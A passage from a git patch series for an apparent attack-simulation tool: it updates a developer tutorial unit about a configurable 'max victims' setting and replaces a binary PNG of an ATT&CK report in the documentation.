yME1vbmtleSUyMG9ubHklMjBzY2FucyUyMG9uZSUyMG1hY2hpbmUu",
+ "dod": "TWFrZSUyMHRoZSUyMG1heCUyMHZpY3RpbSUyMG51bWJlciUyMHRoYXQlMjBNb25rZXklMjB3aWxsJTIwZmluZCUyMGJlZm9yZSUyMHN0b3BwaW5nJTIwY29uZmlndXJhYmxlJTIwYnklMjB0aGUlMjB1c2VyJTIwaW5zdGVhZCUyMG9mJTIwY29uc3RhbnQu",
"summary": "KiUyMFdoZW4lMjBjaGFuZ2luZyUyMGNvbmZpZyUyMHNjaGVtYSUyMGJ5JTIwYWRkaW5nJTIwb3IlMjBkZWxldGluZyUyMGtleXMlMkMlMjB5b3UlMjBuZWVkJTIwdG8lMjB1cGRhdGUlMjB0aGUlMjBCbGFja2JveCUyMFRlc3QlMjBjb25maWd1cmF0aW9ucyUyMGFzJTIwd2VsbCUyMCU1QmhlcmUlNUQoaHR0cHMlM0ElMkYlMkZnaXRodWIuY29tJTJGZ3VhcmRpY29yZSUyRm1vbmtleSUyRnRyZWUlMkZkZXZlbG9wJTJGZW52cyUyRm1vbmtleV96b28lMkZibGFja2JveCUyRmlzbGFuZF9jb25maWdzKS4=",
"file_version": "1.0.2",
- "app_version": "0.1.40"
+ "app_version": "0.1.60"
}
\ No newline at end of file
From 33380256a9240219539243c5ca0a175ba8dc7fa3 Mon Sep 17 00:00:00 2001
From: Swimm
Date: Wed, 2 Sep 2020 19:15:06 +0300
Subject: [PATCH 67/81] =?UTF-8?q?Swimm:=20saved=20Unit=20'Add=20a=20new=20?=
=?UTF-8?q?configuration=20to=20the=20Agent=20=E2=9A=99'=20(AzD8XysWg1BBXC?=
=?UTF-8?q?jCDkfq)?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
---
.swm/AzD8XysWg1BBXCjCDkfq.swm | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/.swm/AzD8XysWg1BBXCjCDkfq.swm b/.swm/AzD8XysWg1BBXCjCDkfq.swm
index 1c0288a9e..147ac8155 100644
--- a/.swm/AzD8XysWg1BBXCjCDkfq.swm
+++ b/.swm/AzD8XysWg1BBXCjCDkfq.swm
@@ -1,6 +1,6 @@
{
"id": "AzD8XysWg1BBXCjCDkfq",
- "name": "Add a new configuration value and use it in the Monkey Agent β",
+ "name": "Add a new configuration to the Agent β",
"tests": [],
"hints": [
"Look for `victims_max_exploit` - it's rather similar."
From e9dca6716f4718ae7fd8dcbed0a066e08039f9fc Mon Sep 17 00:00:00 2001
From: Shreya
Date: Thu, 3 Sep 2020 00:03:15 +0530
Subject: [PATCH 68/81] Change ATT&CK report image in documentation
---
.../images/usage/reports/mitre-report-0.png | Bin 162516 -> 161718 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
diff --git a/docs/static/images/usage/reports/mitre-report-0.png b/docs/static/images/usage/reports/mitre-report-0.png
index 9835d100b21e755f5eede92ee1268f9b2f21b74a..b8ab707d6711f5c44bdb7a534c71bbbffe8943ed 100644
GIT binary patch
literal 161718
zcmbq(Wm{a^(rx1e4elNs65QS0-3jjQ9^Bm_5Zqk?1b3Il-QC@}opbg+?+>{3fro~*
z=9;T&)TmK4J6u6d91#u|4gdfkN=k?*0RT`E006ibEHvmZjH6!P004q+PZbSkB||r2
zdq+D{3u_Z%XAgT5ViR`@QvkqyxiZrt0iV+`_+tm13ml(224e7g5#HhBvmSa|@e(r=
zUZRR|eE(P!Y}eL1CJgqu-`fHFN4NS3S+LTJd41!Mdb&wbKQh_7_mSBF_uI3kUE||m
zYX8&QlTR?y_qV%iJ3Hr(udykRqZ5RXeE)p+Cl
zgh?Jx`aCV;(?(B&oeS0Q8`XGfe1c)$hf-__y(xLgKfJ$n96Xpwd6M5aZ7+BCaA!{Uv+YcDou=A!z*)~^CX83^}>dA)6ea)c(j&$^T8B=)Xe
zKZlH0`u%R*uCs@~^S1Nl&Tjp1vi4Qq?)HNr@1aTPJI(H&PES)E$ma~?*aTSYoM)MWrRZ5k?L_ijK_Chr!>9vsYZP%Gd{(J*WehbA87|ll_iUdDd
z5#`79vF8>+HJR-k=Ero=SZZ&F@J5UX>>|r}Nk=r(FrvTTVgK$0OzQ$CWHZCKtND
zT_*`s$2kYFsiRl0hb+c(7Ve)LfY*1A$5ho>H{QYT1FKI}N6BXUJM;Ti6C%&|yH@IA
zTB$1x2+rwghJdfvu_?@nC
zE)H}|*H;K4u{`zqHY-IQuZN$KHAg3En|QSXS=HK|n5I+ZvS}yc%$B}5r@KA3+j;6(
zta+%{H-EpIJ2{O47qcx+yiMlkC7LvFSC64)ePFph
zKfZFpbw}q&|FnBxv|1u(7V^bfxBToo9@1UPJz2TicO9Jx{BY%EUv-!H+I3)qd*)M-
zO>;wXuk*}nRL3B$QYupI(kF4L78T{8KWF+r#ehM_Hwxq+w{V<5@$fw(yE$ny&Syzu!Tp59
zmIodWu7I+Rm+?@^c#MAZt$QZ^$Lxr1%}~~R?5`LH#FHc|K*@J&
z_FW&|q~SJNJv*N>2&9TyHKpyK+KN@Ss^S)0_qZ;JI{&
zH6AT7?l2&mG?8trHyqb3v!_Cp&vW@JReOeqw$bDhvB(s(`<`>zpLl~p0E8H#%ubBS
zL_1M1SE{<$#Z=5gcV){Jbl@{b8G%?yDTzm)P$5A`9lh##q{Poa=hk3HDD(|MIQsK$
zGPx%jby~28>@9SWK;j+>Cp-oAjAFK~IYGX0I2v&^zW}ictuGMa@@T_rhYKZ`j;SSR
z&uw~M(^*^J=K1s4er60fsmeO
zd*T@}a`@}NpJaUs{ydL|$v~$lzGs#!^wNN(6U&i{PavREMv12lHA5lvoW}=GKtTo_
zdYl&KYPytlK!8u?@-Q3NTf^ahLL}z@wlykOq>HTL*03FxAUo%SV7Ycc_m<5Lh+gwR
z_*0A#y@G>sMM8``B^a&H14%N$kEIgMr9OVUVa@u|W84hh`(
zJ){vF#R5R%52$m3>f{E%*nKro_4Dbp^6!85+Ld}A^*7M64u}AUa*1A8WhoM3yOJZC
zhVtHJ4NK4;r%@%gh@5GmY}hFvFTvA-;sSH!1K-s(fMysr#||rm_|{iO&!<5m%*3IU
zo#6Zaa231(^B9fHWX@3ijUiAfWXSblJ2h(@LL~c-l4?SiQosiyQib6+L9yj%;wKSy
zh1z5~5nPu7n9`-E#R0wW7^>)dd+bo2l*Uw*i
z5$xd`+m}msb+QBqo+WRmx2;72+XetTriMeF1dO7j{Z3o*4JZO?xDQtns;mmBFHNv8
z2%-pAwOk~CwhGcpa24@9JWk_E9>Jl@Zf;uuSwAA!k5+^Xb%2==)0wT3ndG0JPk^x1
z(ND=yIpAeOaY)R=9g<6~z$h4cn6A`Fe_BYS+5l2Kz`#!!0V@%lDX@7*WDdEof^VcQ
zpX8*n7yTKH#kmmn6f4{yHXb-G;apIEM{0nvAjoPau*o%Qzl9XJ{Z&VT8OAko4RY%fWnk)31GeL(t@
z#Cvhh17S7FKSW;*z^>@l^7HWhQc0{p#a^C)R5DwjBBkg3PT0*u84t7Fj8>a$LuawqFQ>qfM
z33sM;dZ-sd4^)L<{zxm*%e44L)?%JQ3JdeHR!J-H$MSpN*wvxT0gR;tBhYuErd(ex
zrvl7NnK6yH$NbR~l`ygoz-GO5S{iQo9#KS=<+;A4~p;g0HetM08MP0A^xx
z;mSk@39`7;`Cu90bN7Lr8k#?RpN(?!b%XG$*5@6{O)cE46J9{n{hfebgJ#
z<&L+948eA6gIW~#85XfSlt@@4VoXew;%e!eO%cQ5=W>6T`IOSKi@-7+gPyqk_C=9C
zLI0imk%IBS89W#CN_v4SFg+@v1R{*~KJ-R)ilnggRs2gu`=A{X@Ct3gd4(e$6Sg6!
zp@TZPYq8-?YmCLXT0#cwUI17aX8#FtCThL-2_uG3%<;
zM1U|db~m!cMnVP}dY*U#+EB;8YsVv?!La5x_#zZ9uBZ_wHDvaQie)Bg!(zd9!r07`
z3v;@4g=i9i*5*7?j}gqMro}oLF;ATcwpBfVUJA|NhOsXp*+E(vo94U0=oFfkG6LEs
z6bUae@gD_4;L1qrSas^Iebl%WOseJn@!msoV72l53hZiA+M`{7Yep^at=D$G=E)#yAF5G2B!e4p09?
z$WVntb-qTNfHQcyAlKnpZDa~E2Pl@QVqyVETXPw~D4sOUt_=D$P_zSIynfi_YCE%!
z?Cp}?43ZOw{GKmONQUmfL@}2TQVLxf?kq7Z4|S
z()-%~Lt>B(6-knLYq0uZpH8u~MqHO-DT>ea`c=w!c08eW78{APn!F@{OE?uknZtb@
zfX7y6Tpl}dOQkH{!W;oU!%!yYSq>i;Aye$*`klXf?B+7a*{zb2lRT@1mNvX~w_6oc
z{8y_pBpA+oLQwCpWu(EUd!W1uCLOq|nFTA4Tp};!!q6vs>CJJ;NkA(dCQJ@QaO*7AX|RnGFx;s}
zFs8L2n3aI%ep94*L>Ce?9L7L%f`=9n6m#b!wp(=NgXKCa=so6V$+O0;-)EyP&K}a)
zt7OeUn0pDMQg0eJd#pn=SqrM6FU{pX0jqg4NMIdw=t?j%2YAJbg7`l}aXUm#MMl8w
z>TMv<5u7_PG_BR_;YC`wd%}gFy_m@|b~8N9!>}BA_;)exwM!htV(jwd|0tJYxdnP>
z0IC_kl?b_*q<#_R+7@M#vy@6Gn@2&EPojbn_El7H$8*kS<$-Plj2oQJDHzy{;L;&$
zH4b1H3&eSdt@ZU$GAQ?9BL=e+ZPs|9v$T4bA~K_)qLakjQYfY|qqWcIEz&J!cn6|<
zn@55FvFvs11wq@+`xeEce4~y_;g?~{uyi|z>kE_0mc~~EeJbF&DLf_9OkdQtVtG_D
zH?U0HQ$E$~qT?d`HiS3c5#fB5AT!`6fElK!@ZP$EZ}_T+sdpjbtfK5jKWtX!!sdY_
zcu+P(ASwC^{u(Rv8Bb}E#K?dvpWtaTQ8#+h*&+6K39L`ejB*}odE00g+@}iVDp`V;
zG1)q2F44j3*d;F#0(hp?WnyuF7CB5S!c{f^g6a-O3e9ShMvEqVT3cLWEia$tMDV+-6p%mbBTd1J5EH1$^5UQc@T5GgyQYOYQ|UwXn>$IfQ*Q)U=g8
zM}RI=tot_eixw8Hb`bTMqC)(zkm#T2+i!6Oo3fT!?xpI6D46^5(=JcwFveg?n4)0T
zYSo!PjEhX49J3*YD)?)WBbmfDK8K1%^uYy{v`6DXq_L|}Nq+gRJxi1Ll-ppZW4xa>
z^tCH|vWp(ffAG>@%7{e`-h0d8@Rl}S%9*vX>Rl*5g+X5nPw3%i`7DAo1I+p!vX{+xGGj*cn}TmN&j_+ATj)J=$qTqbo^v{Q8SS-5i4WB*#ikt(0HZ$%
z8@-?>sQr7X7W{G}9YJzX^QsJ1pY}K2v1#E|KCg8Ida`9vSo8
z#o4LY@T-zRA{#lKtrRZNl$QcnzGoxs5H&H6`LgJU9~a<({To>9Orv@8LpDtCSG2K(
zrV?hX&BOwCwC%y!Mb||s=o*6j<9*Q~G8`NbPupLFvb|Bqsi7R_u6UB9*A2*!XYbKE
zYD+{%*e9e4R-kK1o``28d?(aW8<;|slfNG2%9>V563y@<4*pcUBR@wY+J?DU;Ija{G1iEU
z2$l3@7Tp3~a|RT$Md8jTV=dLtV|;S~A7wk4eRJW;I68WB`A3eFf*+2JlCh?!U%lNY=`o-DR|6?7V9~k>L%#xcBr}87^oEcUJ83vnqbt7PBHVfQ4WnuXLnws&ENM_*~H(z|^7
zJ$EA|%GfbmoD;>-B4O(IF5xKi>--lk#XBxV@~R<9&2(S>PkRIQ#x|erR41QQQCazH
z#ZwAtt+_~{wtAH)%#=|LIv|2(hJ>iADg&A25Rx^6QUAr#&eedBh)dCQ&+MVmRaALt
zm*ngVojI+`VQhJG()s`c@2aBjVl7W&Ek{FO?iqUnNfnVtbO^c9eWPxIHTvNW!ASoN
z#5;O%K@1xOc#Xo2>nepK3WCVA!EX=JsSDu{s6Bs!gq-5mh)1H&xXa>Nd6+g?Oov^M
zT<m6NHOU
z4MQ#dj1c0Koe`OUC68k8Ic5nQugS+TiB;G#RoNa7I33Jf6=?Wng6~_=}edd3Kl_R
zn@o@j2fK(VbcP$^x+?Bc6A&jkY}yjpd}2~##F&w*756KU>-E{bGr4NH_>GiyuZhTkVBzWocY^*P$C
zE~MW1Xa6-hjz!qN2Kh3g%uKHV8C0SJs>oKp$w&fklN@(gG}-W*U&Z@=7X>xc5nT?6t3
zhO8UIK5<1+6wJrN9MK=qj9_u!FQ&2DXD^qhat4Jq
zV5H6&zx^3L(9E@S#Q0QEwQ&-5<2Y;ewWNH31s_-&^^iSl$wg_u(O!a7$3glr$8`n?
zZ(q0wcA^<*(JNFH#Mk9ER6mgN`!M`eY0cXwnm~H+3n`C+F!hrAP78
zm8H6b;$WL88_k%rGXiUbYNHFX435@cn8*9x?B$OHH=E1MwaDttx;sz@PBOC%0F)UH
zoZ1nc8IcIZKgbw5B}S#{Z=xQ#ZnEC7aFqqVlu9p5T9+gXWv~%MN-iJY!1DrdxTu|7
z<^lDwGs)h4Uj=q5GAPdyd=QZ)C+bWuiLRKjzC$#2qb5UC(b+ifh^G7Se36x$ol=)a
zSRT&5*bKM&1}Vx0d~5w^1~XJeguuMst|T@fFeJ61;xoX^@^TNOZQ;WIK+R>j3n!Y0
zL`l@4YrP+5SYR(h`otbq{DQ`>pmTZANZ5}9*)vR5b1T#G5wC}7L8sw+G!}nD
z_sMa|3WwHTr+|)8(4*B7-ebAYmaas$)Yc#%XoeQucGuIioc^R}Kz~*&)&fliZ*nH{
zkZ-fRT
zl7$*g#f&=vw@Xx`i)FZUuMM}FDOqt*QmNBz`B~27B--WS*zYY)jUGbtR?1nHH0A^>
z13vMCfULPwp8bzm)tMAthBvM_ZjBnof_9XxAOf6-CiP-+V<V9~!L&*T1t*EEgdf$1Xkg=vR=kEZnIeroQfZYsxB+DZ03R>Z>kV!}Bgk(L#L
z*(w6(7T`rl3222fha9fu)uc?rCLO+lBPOv5rRwq~l?_Yf;-$iJKzDKLHe5n3)s}*c
zo8PK0>FXCa489`T1)nxvqXy4TrsX0kYIg>8*l8N8$o6EnUamn7KVm$;G$O5Z0VMIS
zyEsbrepdhC3z4&uxD(*6=DoZwfm5VWf9c{%gQiz*5Y0Bzyk(2cI2ux#`f=N9h8yg|
zm%%?Z+^;0;`yDZBR`q016W!6J{DgfAO%L+2Nee6^rau5Zn654Q$wk!}Roh4GmS2lt
zDv+!;NdYWzS7c1lv9#HhP-3uaJq%>R#9oSAQ9V?E>C{(}XJMXS`b%3pDn-I8wKU~G9g)o{3=hRG`XMju
z*EOoQDD;3K#X72s0#}x4E)1%dCM~R`A6SO~`+>&qs9TcoT*d`&B7eT}tEPBSeLffG
z9_zJ7Z6xK8OW9WJZ8)?aSup99=`R?7FCi$h!pfg4){QNUq8gIhH=X6d#A4}PHF%`r
zw&pO(_=F~UEM}(X&gC&15i*Mx>}5M3#oNuNKs2k?ErbrS`lF<<1RExgSB;oJ)8CDu
z5F1G~V1+O*#$C~L6+Y3wH5F`d4nY}8){Ienw}L_e
zeQs15L^;h;Ag_US%$aI^K7fAePmCBJB*#w%K`8;ca%91w2Z9x_RY;6YC>`Xa2}{vj
zNP;R4HZo`g!B5l#{LUfR-xmlWmLa=;F{3QYh()R8l^MmN&jgTg$u%T!igNjzW
zEu+qJA`E()Pu3&SvsvZ3a&5*z2tisQuo?giQI}LxGqA{*9Mi~5MAC-BmHLO7e@2mO
zqV}xf%lRHF1Qk0Gex{Wc5GeKit(1WCbW`B^pp2#Pl1qp@1k?;{MK(aRMgP*!TJN$z
zymM8MZl(^;&EGIo!FgSC@#pe2MpGev%n*|gd^RCT11ek8;FnFkO1YAiwvTW{Hot(j
zanZ+@x>_*dw_Y+OZ4|Iv;k9M2R%6cB%0T;1H_0gER<~W|E~MoejRn0~zaicQtb3`r
zVp5C|LbV8F4|ECq0BBP0c`LJ7f+SrDj9FD5Etf@-uCCb!#PzAIuISxUZ{PFNx>(Wv
ze7BTYGn`jsyZuDSE;R|QEuYA7@
zFZdcj&yneBLhvPqD_k<&NN|=^5NlH=EpYV?XW@WXbyT1QYGga%50B!PnY~*>uml7K
z`U(XMzf|$J?Z7%YOmjOVy9T(LeyOXj=RPZ|Lj_Vs2t9<}PQRuNnV}#9Z-(A4pXNqv
zxSV8z@W}zFDuc{zpb<2r8agomh=EJ&h~m14c9SQj1@vp^u0Hwj_1D7IxwSv$(r{|*
zEm$X@VtGc|-QT(j+Yt5)giwb$Ja5i%iJ(J(D;SLu>{Do|%V=@#$qnpKZ1dwxgW5F_yTo}N~F8YRd)ku?{i8`!Qc7;ZMY
zOaPQsQb%%l4{I$$+gZ;C&Si~!|JRK^{
z7SJcAmk%WH;>~_T`H#i7jr4CII_-^M%vZc~(W>vR9-oJW4HeW@4?L|+!D9Kbk3mrE
zXN81cFSaf)A|hWZPg?kBi821W6BLwquM}{le?OqKm{I@#|4Z$@
z^4$MF&H=p?0sX9uPdk>dDle<6(RN2k>;M!DL`SKf{89Vr%=jyN|C>KJ*wSty&vI=y+83MNv^H!RW0o_}aJ&i)TLe
z8SC$|im|0zn|wTZS+x8Kv8*QTHLMmqD$skh^ai)z&Hm1~eD00Hjnb$v;W);%sAyQN
z<9j+8Ejg{~y{PJgjbh_21^udR)^6gX<-0b!a#H)esUr=@qPe
z&{_GwbDVzti`)@)$+>Y~WjA1zuG@Jd|EX1xj|!1b_z-E-v-ve70Ncv0XH8c&8>2>L
z2T`4o3vP4J7?tzD6+(7DF%8Np&yevq)Q_d1n{s_A8sEAMILz!s0_;`0KF*GcW9C*Ibe
zE>L7qF%-BOGYFJ}<(|7s)(Duk{dR8pZOsrOrB14>Yy@@da@Rpo95F_bXuQL=2O9pK
zhBCQnHnBi$aM?jcm8nsBQ9E|js%Y7S^7Lx+EaqBaiOu)IV*7OwJ70EA#jE?UB>x=~
zGi)eZ-YG63Y_(hLjqf#u=GYQngWi-*4e!3pGRp+0=PcsGqLysPh|7RYznE?N3fw3z
zwq`eKT-d^c>XBWHMq1rEGCM6=H!Udhr~}hy#SG0nzZWaBHbsEumNkTBW#77f44_&+
zW-8;!xuI3ZF|Egup4+%gWFosSQaBF0S}@FX;qzyZb){wPu+6YK)rf+oo9ozRv(qJK
zs|O40j+#>xb~1NfcEHR6g`Q@#MvFd;o{i?@PeB&xvhUdy-q<2Ot9xrPuiz2k&Iapt
z&4Pn%2~P1+)RK-^JO2(*X4t9~g4md;)AcC!{iY*ciEA5`bjs0~8!v=kc68md>#HrL
z2_^)zHt&1s&M_@@JvJkDl!kTktcRJd1SMYj&NAy@qjy6KTz(~=i@Et?bZ^=s(q|jH
zg0it6({Yb@MozO+_;PM%51+H=etA?~+`OIP+7!)bNGdz=s+!CXclse&W(b##f3x?I
zf5>|8Jf}IG(}VV5)fh7!o453afA<&N)x)x}?YVi9YC2sXf3Cgxow-cejLm>sT=g*^
za^>Ic?{IAQ!{OR$;!F&|fBJj(5S5`{+H_6M{S-EKrN(&a+o7%F))T(e1N)9m*??ia
zL6b)9Qh7;f_0M~Dv$~BATzpmWPntjbcWnCNs|LQah&TZiSMTITMt<&l@%tpJ^M)?~
zw@fM7Ryw!39`yI-)cr;tey#_Muc!UilP6Tyw;8+_LA)bGJ|DQa>SMQ7@emr`?;V%3
zo*#U?fAAYAukILmK<4RYuRzM6s9rG4fpJqtV@1OI*zbDqxSJDOfAs?~*te@ts@ZiJ
zCnx6hd(QX!aAOIuQV=v#a&MTb>A3W{BA|ziv`$cn{SGUalB-WTI
zCQdHP;qW3H)aLVBSI#;TM;*8pR$oNml^?56f@3xU&q@|kys<-W?54!I6RanMZ5N$LA&fZw{`u_Aq>JjE3uf+}3HMD=EZ;Zd)VGYl
zr6E?2`&>2^#;QH`{QUFQz314tstS4Uk}WPR0Siu<#d!=WVzaW{jq*;(0QVbp_7nC;
z9(46We@c(k>K4P6J+}+)G8t()w$0#PMJN~h*OkVZU%}O8pRZMv*R1>Z5K*qxjEs`*
zxnNYsF^~U{_lt&H?(J+-{bC%b!}8pu(qE
zT?^t(EEW?qBbD6xtea+}H8+*b>!wF${8t-V3L
zhOc+*E*-cn@PA8mOQNQgJ^S*ds%EX~{M6#9eC3pdT>;~6ZU-Y{cw4uQn2RnsOBVN-o6eVVqp8QaN}CUlJ%JR1gUgkVx2AWPh-slqFDBz_7TRx
z7V%HomY1{Y-|N#D@emn~^QRH#qFolpp&8O@7iJBR*>}>_#x=E61A$yiwDp0{txT`7
ziHUp7?9+>9xgFE#CCf}&_OtAYMz%%1%kXW5JYp#EOJWw)MVkD=9OUpj
zmi1+Ygs!(yBe&E#$!2NEPSPCHpffdpnBsvI+o9?h;Igzlwur%HU=VA&SSG4Yo-Z5j
z_|d&xP-V%B@O;_SYu*NPL2O;>pr~v*V8HObysUVlBcaw6c>!9aqF{BeXx*^?dsFUc
z<0|Z5`F3s&T_MN*uD~6wYWf
z#sWUu@^K*+bW*APg$K<^5YLe|vbS*ZL+>jR-LbO%ep49wyiPH>UDfOKsl`F9eWW^S
zV_Rb71%IhMWKy2fLB#`Bbmhu@;;Os^r+mqO`gg)^s5(5=>NTC;Tjd?X+emQzMDu2-
zB`rN$1+Xf0S|Lo);8MMq!}HdB`((Bn8(d6WT++4MT&86plO9tIl>#3`CUDFnQgqbS
z3*#DeV%YFNf>zfYR+Bo__`PC(6_H(AgBpYCvfi_soyyaqqSkO*iUY3?C#?7B=|1@6
z;p*~yy)09W*P)yxacqPTaupTa(hAqlu3ndk*m^`w>V-KER31N_+m~dOIqqts^`f^m
z4Q!(O`OXV@LD09z
zK*NT$R5{7m`8?gsV7*gUIggp}_3#k&XDkcIixLB3?Zf@)eEbg-)g8|?)jzo=KQp*i
zQJbK5DFyowdJEH1S6k(^j>);y$C7O@p>pi?>8WL>z04l;m4vmNVVCY*~NA+~HuV?ay`#GsLGh4`%lr7xJQI5`}u+_>u_meVRe+|qWu&}F3bqv=zv{TR9`n_+)sRm-#Brn@d`OtQ64kpc6|`D0@S2uyr^zMFJY9`eY@@Luqtmz+@Jy~|rQC|usz
z>!-i;AnsE5706YL!LVtsR`*jd$9Q}xVvAGhp=ae1Vs59
z*9dHJ`tvV~h4ot7i^h{Db8bRA_KF5Y)Asq04Q3mgA0_OJ*1#
zUd2**X_I?tx$6!xC|Ds^FBG9BxHgMpzC7!t{)|#yM!e&~k!OWq^-D5CCxu=~Ru>$I
zu35>OHWkI3$GIaNL%4*2fw;x#`?!>{9iOMCskY*Xs#h}WwjF;j1&`v9j!;eCQ&=9q
zC8?^Dhcu_CD%;#Cs_zUC5d=?v?s&Gu?M1RI!%T}BwjPMeF||ue$516D1&X$_s(6jf
z{>I1d3Ge?>)PX9>l&(8z%D7nSihDIXH@!*#mFLX9ps)jN=3?^9nT_RiR+nsu_;e}L
zenW6pRJz`KFig;T<>~DlDo)AXyc3H{ad4frvz!wSk^|%uA=SRiJNL7j*IFfIO_VDd
z$9HSywFZ~$JBZN<(;TWOE#kqKEFL&onsTz)5Rv@}uXU;mij9PPcD7p1s&6u4;u!Zm
zjJ~P|U5dKGy0WaQF;cjbv9*qSQrOSrE_1f6;@z9(1r~nPkaAZIb3f+JbL;9*#nUnB
zr{$Dek$+aqxv$FC`d;!{mK_7JV6a7CU3@)V!^s_W-l{KctR|DCAeicVD5XrrIUg@VwD}eFT;0DU0&7v
z=*1}LG1c>3d>4}mDRVy2#jUIdChq2?(VY&!-+SplscN@_N^qJQ`WgDmGC)(
zKAk1VIYORcxUaOVgzgx^D8bdxA
zF~3_Toi?f$DARtXg(uzKfrsxh%Plmk8I4^rH`zVw|9!Xb=JJ1_fJ!AL*~5~zkmhaJCdLABNRk_FNsoghD3z&%xloxFMeD3
zEuI0EA9Y---_8e6Z4P8(Q>RKOWa3YpHs+A3){o`FR?GiyFf~-keB5tQI(2$
z;DUzaOXsuvuv6g(i650RfvB0c%0f%4gW^|?*I|>vpK(99gDp`5PT+c=)sCC4wii5
zqa`PW=p*EHbyO$9Y=_%!?00qq0m|4zEV-RJFPlXCQF)S2Oe6Yui#c#sNPbT{?-BP6
ze{}`EtI(Z|AmCM$m!hQw^9BCvKhJRd*5bGar(Uh6s}hn2a)4GQ0xKGSF330NyRv}v
zZ#6898@B=thsesk)9*tOyFIe$x5dV~bRIeTB<()*_o>?dIB-{wIXQ=pLVOy(fPK2d
z?+xnb!-75a&+!hTw@(0w_+&smjR27I`CJR`eUs_M)kko+6`ROU3s3-^1qfYBiF)4g
z@I%abXZxmU(R$RKwolwHEBhw&e^bx&70{@5cti>v+ms8d6y%VSp<9e^oWl67+6mo<
zNnQL0-E)?@4ceg10c{jhKp4T5$mMTfhbfPuBU
z9f-w|4xGZnE5Ke=i7~@g5D0Mf{4z7)B-qib+vjxuo#(ckRdjU5ZG5~xth#OZc%ND6
zD?=TfRWxu+41Zk4;`_MK4}N%kSACf<00V`yK{e;=!}D(0&A|j7r^kIj(ph#lIF~-P
zEbkyuzl9C6LxYJ;-7$LZmb1h43kWlRyf<_9D_D|OVnY@q|3U27+4bJ&-v>!!W|*KR
zSjHD=n}4vwEVf#F@p!q+OiAj`&{~mEdEMMH=70L!n~}{}eKM`eB;K
z)JPVWQ|Au6!FYoczxW)Pt)uZjR5T~)kAP&u>&Ka&YUspY1OOjL8JGt`W<5<$)h(P
zLjNvrd(*b@7K1^n7MGYPtfn^qL-;H-G?caPU5%E>r~fBGys^oFfbm`(RKBw51See0
zg}z^H#X(%AFh;?@Nd~Vi6Ou=A-yCq%d;HH-9&{XFQG{GQ$?`=N>c|D|cHeQ)hGa2y
zPz#9N==D;wl7~aIF=M*D>al}(YUqhrJg->yRm{SHXU8a}v1+exgB&xgZYA$`R?bGr
zdHDZ$0lkd49f_=#?w&pAOK1(Uh?*maUK?bzVJ-LuwH82+XbIrWS^=f$3!c>F6EnQo
z1ACHvMPZoqmG#&DdJ7xv=+X9f=m(|$G1h>RfG0srM_UT$ifgBDPWE3TFZTHL?iyf6cOYmey*vvCb?SJOw>c`?tg#67y74P>cxI!62GsvGx|~AD
z0;g0MDKV+Yord?_#H1H4@TWo4%X(p6-RSuOJ?pRKLBE7=|tEztUbK_+LOw3jJ@P
z7u7t&Z3iHU|6RZ3r1ZxvG_6+l6V1int1iBEY{n`K>~>Q
z`EYy>*ueuz^~28JKjxd}Zq9RZywaD8Jxdo+G;3^fHo``2(lH!CyAb^&fziG0^{--Tgy^K@(s86CXr-3#gvTh7^FpK8}mTk1-R|SN|6j@d?t@
z2QDr2IKc(XOE!u~=V!VMVaa2E&!7HlntX5)cJYa3M4N|gRxRlIuTfC4Fc8+XvO%e!
z1deH}*xOxN3P@kW+$%H_9{$`w7AJp4TbOo1lz&H=^W^~^#2BF5Mi5ae!q3U!7Cck-
zp;j$xtmf})xfu|B;N*Av;p2A&HF<%faa)@p1sW^=*M_b&r3A`EGpc~2KV4X|X!Mjg
zT3vt=QXH)p;(iHi_`!Ws&k;mCAg08UpaV35L{=(u(rR(xcpo$WGf;Dj>Ti(`UBlEl
zzZ-tB%sJMb0hdeNUc$Gc&NKOhQSvY2kv5}&^70p1T^$RHXW}q{H
zvcXx(mJjz75cBUtaJX`n+Lu|CHsx1OXsY?5Mb(SSt`1iOImh)Y3D(m8X34HxfxmOO
z*mq5Q5L2AIg9M%XN$5vnOn$cY8Vl3G)l*Aq;+Cm6G5=03BZx)AnUMhnW1OvNH1kKQ
z1^0F$2Wt-?N;-JUdGQ#=k22v9)8HiCh5S-b3@cWcs+HQIpd%0Rua9-gVa!=wRH2xSc}MLvxvvTVCUA~#m~RJ
zC^zXwm;q6SU?f5soIc&}DaN^_gXEKz?`x)}4^CLcE^uRiV&%Wb#GsfAok@Wmp+fP=
zBSMWo#45Hmv+wLk&-W*6xIrsJOkUF~o;Hb?m{~aBzog94Od9APw-oP_XP-Ys_(sU+
z|6TiS13yjmjq`G^(cTTD0@6b%qxhGUIC*KVwcK%m)Y|Y>#QmGbG
zQytsBi+?d0dbu@lAOXgXigXxW!P9onaW*4(w~+3roi-g-)ZDp|aY`S?{sW${p~_-V
z7)+6JzP;tUkDNKHW&>rbakKSg;lj7B`TPv)vYkHSxV$^e@6<~VzRK~kcU{esf)W)w
z+{B^6<*edKazPG{Cg*6i(CO}>8S6k_N9unOc5VD^ER(>-i@gKf&?_fJe08#Q)bOS#
zLQeE6a1Pq};B|Qcu@lch?a`#={pr8o1;A9J*+7*|51l<=pJ=%RjzQ&NTAB7A1(px)
zFDn0U?fW9Q8S)Ixeoh}bc@6ig{B(HoWV>NHowZhrpa_C^&4&fPxlGsOCuf}rg=?>k
zYG7!I(@|_iS|dmD|6V=&Z=A;QP1l!AwVYY^ujcc1AHJHIulFYq*M3eqS^3ql@;4$c
zvpta_XGHdS{Z0iwWEWbYIu-i)uOSr#;~gdm^)ZLXY(<(}%JJN0Y+kM&okebl-4HP?0aU2fMJ
z@jos^>(9SwV&xZbh?&(8=WiW?L~nh_xEtj4U;O@8c(ly;oSh((AK?0Y9Qb-4L=WdW
zd2+wSV?cV{V27KLucS@PS{F$d_x_`@M08S!)nUL6g$D
zKVN-I5Ih8xY>NZNvrc!LfP#2;OtRVvtL9=KedFf{QsrZw(l}T-eNJ7T18_O!!gB2F
zx}$FFmrl+&Mecv2Rp*UFz}45))u=OYaDxI1X>MWB65QU(OikP_hxl>M{8yx36+6L%
zr*q6JiHwF)+`si>{iUYzZKnv3#?g9T7dd+70MT2?BFe81ebiqTt^Jur&d@hkZ_7i&
z^^uuQ&i_aU2Asox>-y06^z?K*f;dPam~3hp;KD+lKhezegEUz-2x=giVL!2TAIbPx
zQ?j@8J29iohxyqlpss;K?x=y}3>1O`f^EXXaT7mb$>psp>39%A4rrg3nolB4Ead;q
zjg$%7=8fa8t5={#lIb|MB9~c1VDm-?)YyP(Bq*{d?~Yp@5Zl
